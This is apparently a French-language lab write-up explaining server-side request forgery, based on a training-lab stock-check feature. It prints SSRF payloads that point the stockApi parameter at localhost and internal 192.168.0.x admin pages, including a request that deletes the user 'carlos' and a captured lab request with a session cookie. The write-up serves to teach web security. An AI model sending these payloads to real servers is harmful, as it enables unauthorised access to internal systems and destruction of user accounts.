SSRF

Auteur: Brouettelover 2024-01-03 14:18:29
Categories: > Tags:

Description

Une faille de type SSRF permet à un attaquant d’envoyer des informations d’une application à un endroit non désiré par l’application.

Dans une attaque SSRF typique, l’attaquant peut amener le serveur à établir une connexion avec des services internes à l’infrastructure de l’organisation. Dans d’autres cas, il peut être en mesure de forcer le serveur à se connecter à des systèmes externes arbitraires. Cela pourrait entraîner la fuite de données sensibles, telles que les identifiants d’autorisation.

Exemple

Je suis sur une application et je cherche à voir si un produit est en stock.
Je passe donc par des requête sur l’API rest.

La requête généré ressemble à ceci :

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

Il est possible que l’attaquand change l’url de stockApi par son propre serveur avec un domaine qui n’est normalement pas accessible sans authentification

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin

Le serveur récupère le contenu de l’URL /admin et le renvoie à l’utilisateur.

Un pirate peut visiter l’URL /admin, mais la fonctionnalité administrative n’est normalement accessible qu’aux utilisateurs authentifiés. Cela signifie qu’un attaquant ne verra rien d’intéressant. Cependant, si la requête vers l’URL /admin provient de la machine locale, les contrôles d’accès normaux sont contournés. L’application accorde un accès complet à la fonctionnalité d’administration, car la requête semble provenir d’un emplacement de confiance.

Suppression d’un utilisateur :

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin/delete?username=carlos

Suite à la connexion à la page admin, il est possible de voir les fonctions disponnible et via le même type de requête que précédemment d’effectuer certaines actions, par exemple supprimer un utilisateur.

Pourquoi ?

L’application peut agir de cette façon pour permettre à l’administrateur de ne pas devoir se connecter en utilisant un mode quand il est sur la machine locale.

SSRF attacks against other back-end systems

Imaginons que le serveur ai accès à d’autres systèmes non accessible par l’utilisateur (backend).

Ces systèmes ont souvent des addresses IP privées qui sont normalement protégé par le réseau. Dans ce cas ci, le serveur possédant une faille de type ssrf va pouvoir envoyé une requête au serveur non accessible en se faisant passer pour l’application.

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://192.168.0.68/admin

exemple :

J’ai testé auparavant toutes les adresses possible sur le réseau local - 192.168.0.n:8080/24

POST /product/stock HTTP/2
Host: 0a09008f0320de2e818dadfe00a3004c.web-security-academy.net
Cookie: session=v7JHfQOes2eI99ILeHPpB367y4IyLnOm
Content-Length: 96
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0a09008f0320de2e818dadfe00a3004c.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a09008f0320de2e818dadfe00a3004c.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

stockApi=http://192.168.0.6/admin/delete?username=carlos

Fonctionnement avec burp : https://portswigger.net/burp/documentation/desktop/testing-workflow/ssrf/testing-for-ssrf

NB : ne pas oublier le HTTP, toujours regarde le status